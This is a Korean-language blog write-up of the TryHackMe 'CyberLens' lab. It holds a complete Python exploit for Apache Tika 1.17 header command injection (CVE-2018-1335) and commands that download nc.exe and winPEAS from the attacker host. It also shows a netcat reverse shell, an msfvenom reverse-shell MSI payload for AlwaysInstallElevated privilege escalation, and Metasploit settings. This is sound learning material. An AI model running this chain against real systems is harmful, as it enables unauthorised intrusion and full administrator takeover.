[tryhackme] CyberLens

김기훈·2024년 7월 31일

tryhackme

목록 보기
3/12
post-thumbnail

이번 문제를 풀면서 metasploit이 얼마나 강력한 도구인지 확실히 느낄 수 있었다.
metasploit을 사용해서 푸는 방법과 사용하지 않고 푸는 방법 두가지를 모두 적어보려고 한다.


1. metasploit을 사용하지 않는 방법

이건 지금까지 해왔던 것처럼 nmap으로 스캔을 하고 취약한 버전을 사용하는 CMS 등을 찾아 exploit 하는 방법이다.


메인페이지와 아래쪽에 있는 Image Extractor를 보면 업로드한 이미지에서 메타데이터를 추출해주는 사이트인 것 같다.

Image Extractor 옆에 있는 이미지를 다운받아 업로드한 뒤 Get Metadata 버튼을 눌렀는데 아무 반응이 없다.

tryhackme 문제를 다시 읽어보면 /etc/hosts 파일에 반드시 sudo echo '10.10.49.212 cyberlens.thm' >> /etc/hosts 명령을 사용해서 cyberlens.thm을 호스트에 등록하라고 한다.

호스트 등록 후 다시 버튼을 눌러보면 아래처럼 메타데이터를 확인할 수 있다.

홈페이지는 둘러봤으니 이제 nmap으로 스캔을 해보자.

열려있는 포트들을 봤을 때 윈도우로 보인다.
smbclient -N -L //cyberlens.thm 명령어로 cyberlens.thm 호스트에 접근가능한 공유폴더가 있는지 확인해봤지만 아무것도 없었다


개발자도구에서 Get Metadata 버튼을 클릭할 때 어떤 통신을 하는지 확인해봤다.
PUT 메소드를 통해 61777 포트로 통신하는 것을 알수있다.

nmap 스캔에서 사용했던 nmap -sC -sV cyberlens.thm 명령은 well-known ports 대상으로 스캔을 수행하기 때문에 61777 포트는 스캔이 되지 않았다.

그래서 해당 포트만 지정해서 다시 스캔을 해봤다.

Jetty 8.y.z 버전을 쓴다고 나와있는데 searchsploit으로 검색해봤을때 해당 버전에 알려진 취약점은 없었다.

해당 포트로 접속을 해보니 위처럼 Apache Tika 1.17 Server 페이지가 나왔다.

Apache Tika는 다양한 파일 유형 에서 메타데이터와 텍스트를 감지하고 추출하는 콘텐츠 감지 및 분석 프레임워크라고 한다.


Header Command Injection 취약점이 있는 버전이다.
searchsploit에는 ruby로 작성된 exploit코드가 있지만 ruby언어는 익숙치 않아서 python으로 작성된 코드를 찾아서 사용했다.

import sys
import requests

if len(sys.argv) < 4:
    print("Usage: python3 CVE-2018-1335.py <host> <port> <command>")
    print("Example: python3 CVE-2018-1335.py localhost 9998 calc.exe")
else:
    host = sys.argv[1]
    port = sys.argv[2]
    cmd = sys.argv[3]

    url = f"{host}:{port}/meta"

    headers = {
        "X-Tika-OCRTesseractPath": "\"cscript\"",
        "X-Tika-OCRLanguage": "//E:Jscript",
        "Expect": "100-continue",
        "Content-type": "image/jp2",
        "Connection": "close"
    }
    jscript = '''
    var oShell = WScript.CreateObject("WScript.Shell");
    var oExec = oShell.Exec('cmd /c {}');
    '''.format(cmd)

    try:
        requests.put(f"https://{url}", headers=headers, data=jscript, verify=False)
    except:
        try:
            requests.put(f"http://{url}", headers=headers, data=jscript)
        except:
            print("Something went wrong.\nUsage: python3 CVE-2018-1335.py <host> <port> <command>")
        try:
            requests.put("http://"+url, headers=headers, data=jscript)
        except:
            print("Something went wrong.\nUsage: python CVE-2018-1335.py <host> <port> <command>")

exploit의 핵심은 header 부분인데 먼저 X-Tika-OCRTesseractPath header에 설정된 "cscript"를 통해 CLI 명령을 실행시킬 수 있고 X-Tika-OCRLanguage header에 설정된 "//E:Jscript"를 통해 Jscript 엔진을 사용하여 스크립트를 실행하도록 되어있다.

cscript : Windows 스크립트 호스트(WSH, Windows Script Host)의 명령줄 인터프리터
Jscript : JavaScript의 Microsoft 구현체

실행되는 스크립트는 jscript 변수에 저장되어 있는데 WScript.Shell 객체를 생성하고 Exec 메소드를 사용하여 cmd /c {명령어}를 통해 명령 프롬프트에서 인수로 지정한 sys.argv[3] 를 실행한다.

자 이제 이 exploit 코드를 통해 어떻게 쉘을 얻을 수 있을까?
리눅스 서버라면 특정포트를 열어둔 뒤 bash 리버스쉘 명령어를 인수로 넣으면 쉘을 얻을 수 있다.
하지만 target 서버는 window이기 때문에 다른 시나리오가 필요하다.

  1. Target이 공격지에서 nc.exe 파일을 다운받도록 한다.
  2. 다운받은 nc.exe 를 통해 공격지로 접속하게 한다.

해당 시나리오를 진행하기 위해 nc.exe 파일을 복사해오고 cp /usr/share/windows-resources/binaries/nc.exe . 서버를 호스팅했다.


그리고 다음 명령어를 입력하여 파일을 가져왔다.
python CVE-2018-1335.py cyberlens.thm 61777 "curl -o C:/Users/Public/nc.exe http://10.8.51.29:8080/nc.exe"

이제 Target에서 공격지로 접속해야하니 nc로 1234포트를 열어두고

다음 명령어를 통해 nc로 접속한 뒤 바로 cmd를 실행시켰다.
python CVE-2018-1335.py cyberlens.thm 61777 "C:/Users/Public/nc.exe 10.8.51.29 1234 -e cmd.exe"

쉘을 얻는데 성공했다.

user.txt 파일은 CyberLens 사용자의 Desktop 폴더 안에 있다.
window에서는 cat 대신에 type명령어로 텍스트 파일을 읽을 수 있다.

이제 root 권한을 얻기 위해 권한상승을 해야한다.
window에서의 권한상승을 해야하기 때문에 winPEAS를 이용하기로 했다.

curl -o C:/Users/CyberLens/Desktop/winPEAS.exe http://10.8.51.29:8080/winPEASx64.exe
공격지로부터 winPEAS를 다운받고 실행했다.

winPEAS 결과 중 AlwaysInstallElevated가 활성화된 것을 확인할 수 있다.

AlwaysInstallElevated : 관리자 권한 없이도 MSI 파일을 관리자 권한으로 실행할 수 있다.

따라서 우리는 리버스쉘을 연결하는 msi 파일을 만들고 Target에서 다운받아 실행시키면 된다.

msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.8.51.29 LPORT=1234 -a x64 --platform Windows -f msi -o exploit.msi

먼저 위 코드를 사용해서 리버스쉘을 생성하고, 호스팅을 열고 Target에서 다운받은 뒤, 공격지에서 1234번 포트를 리스닝하고, Target에서 msi 파일을 실행시키면!

관리자 권한으로 접속하게된다. 똑같이 type 명령어로 root.txt 파일을 읽으면 된다.


2. metasploit을 사용하는 방법

metasploit을 사용하면 아주아주 쉽게 exploit을 할 수 있다.
msfconsole을 실행하고 apache tika를 검색 한다.

우리가 수행했던 Header Command Injection 취약점이 보인다.
use 0를 입력하고 show options 으로 무슨 옵션을 설정해야하는지 확인한다.

Required 부분이 yes라고 되어 있는 부분을 채워줘야한다.
set RHOSTS cyberlens.thm
set RPORT 61777
set LHOST 10.8.51.29
set LPORT 1234

전부 세팅하고 run하면,

이렇게 매우매우 간단하게 쉘을 얻을 수 있다.
background 명령을 실행하면 리버스쉘로 얻은 세션을 유지하면서 다른 작업을 수행할 수 있다.

그리고 똑같이 alwaysinstallelevated를 검색하고 run 시킨다.

session은 1, LHOST와 LPORT를 설정한 뒤 run하면?

진짜 허무할정도로 간단하다.
metaspoit을 쓰면 호스팅해서 파일을 넘기고.. 다운받고.. 실행시키고.. 리버스쉘을 받으려고 포트 오픈하고.. msi같은 페이로드 만들고 넘기고.. 등등 모든 일들을 알아서 해준다.
심지어 Target이 window인데도 리눅스 명령어 사용이 가능하다.

metaspoit은 너무나 강력한 도구이지만 배우는 입장에서 어떤 식으로 exploit 되는지 과정을 공부하는게 반드시 필요해보이긴 한다.


3. Exploit 요약

1. Apache tika 1.17의 Header Command Injection 취약점 이용

2. Header에 Command를 주입하여 Target으로 전송

  • 첫번째 Command : netcat 프로그램 다운로드
  • 두번째 Command : 다운받은 netcat 프로그램으로 리버스 커넥션을 하면서 동시에 명령프롬프트 실행
    -> 서버 침투 성공

3. 권한상승으로 위해 Target으로 winPeas.exe 전송 및 실행

4. AlwaysInstallElevated 활성화 취약점 이용

5. 리버스쉘 기능을 하는 msi 파일 생성

6. Target으로 악성 msi 파일 전송 후 실행

-> 관리자 권한 획득

0개의 댓글